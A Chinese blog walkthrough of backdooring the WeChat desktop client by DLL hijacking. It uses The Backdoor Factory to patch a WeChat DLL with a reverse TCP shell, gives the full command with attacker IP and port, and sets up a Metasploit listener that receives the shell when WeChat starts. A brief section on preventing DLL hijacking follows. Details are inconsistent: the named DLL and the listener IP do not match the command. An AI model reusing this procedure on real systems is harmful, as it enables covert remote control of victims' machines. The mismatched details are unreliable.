首页 > 技术文章 > 微信DLL劫持反弹shell复现

gendan5 2019-09-23 10:29 原文

 最近刚好在做PPT的dll劫持测试,现在就随便拿一个程序来练练手。增加一下熟练度。本测试纯属学习测试过程,不可用于非法操作!!!

 

一、测试环境

 

 

  工具下载地址:

    (1)BDF,劫持工具,可用于DLL注入,https://github.com/cream492/the-    backdoor-factory

    (2)ProcessExplorer https://process-explorer.en.softonic.com/任务管理工具,本实验中用于查找微信程序调用的 DLL 文件

 

二、测试过程

 

1
在 Win7 虚拟机中打开微信登录窗口,需要扫描登录的窗口即可;然 后开启 ProcessExplorer,在运行程序列表中找到微信,然后在菜单栏中找“View”—>“LowerPaneView”—>“DLLs”,或者 ctrl+d, 接下来可以看到微信登录页面调用的动态链接库 如下图所示

测试使用的DLL是libEGL.DLL 文件

理论在微信安装目录下其他的DLL文件都可以 有待测试

2

在kali 中下载 Backdoor - factory www.gendan5.com

执行 ./backdoor.py -h 出现测试安装是否成功

将 Win7 安装的微信程序目录中的 libEGL.dll 拷贝到 kali 系统中,放于 the-backdoor-factory 下,运行命令如下:

python backdoor.py -f Jaky/dbghelp.dll -s reverse_shell_tcp_inline -P 8888 -H 192.168.114.140

其中,-f 表示被劫持的 DLL 文件,-s 表示 shell 的类型,-P 表示 DLL 要连接 远程主机的端口,-H 表示 DLL 连接的远程主机,注意参数的大小写问题

 

3
然后可以看到生成的文件放在 backdoored 目录下

然后将该文件重新放置在win7的微信安装目录

4
打开kali中的msf 设置exploit 和payload,随后设置 lhost 和 lport, IP 是 192.168.112.140,端口是 8888,最后输入 exploit 或者 run,监听过来的 shell。

5
在win7中打开微信 不需要登陆 就能在kali中接受到反弹的shell。

反弹shell命令

 

三、预防DLL劫持

 

    (1)DLL劫持利用系统未知DLL的搜索路径方式,使得程序加载当前目录下的系统同名DLL。所以可以告诉系统DLL的位置,改变加载系统DLL的顺序不是当前目录,而是直接到系统目录下查找。
这个想法可以通过修改注册表实现:
HKEY_LOCAL_MACHINESYSTEMCurrentControlSetControlSessionManagerKnownDLLs是调用系统DLL的首要查找目录;例如里面有RE_SZ类型的"ntdll"="ntdll.dll"项,则系统载入"ntdll"时会直接从系统目录加载;

由此,添加"LPK"="LPK.DLL"即可防止LPK被劫持,同理可以阻止一些其他DLL被劫持,例如"USP10"。
    在Windows NT系统,XP默认只有少数关键DLL在此键值下,Win7下面此键值已经相当齐全,在Win7系统下发生DLL劫持的概率要比XP小很多。(借用百度的预防知识点)
    (2)还可以通过第三方工具进行dll劫持检测。DllHijackAuditor能够防止木马病毒劫持系统中的dll文件加载运行,是一款很不错的dll文件保护工具。
    (3)坚持从官方下载软件,拒绝第三方。万一有后门呢?

 

推荐阅读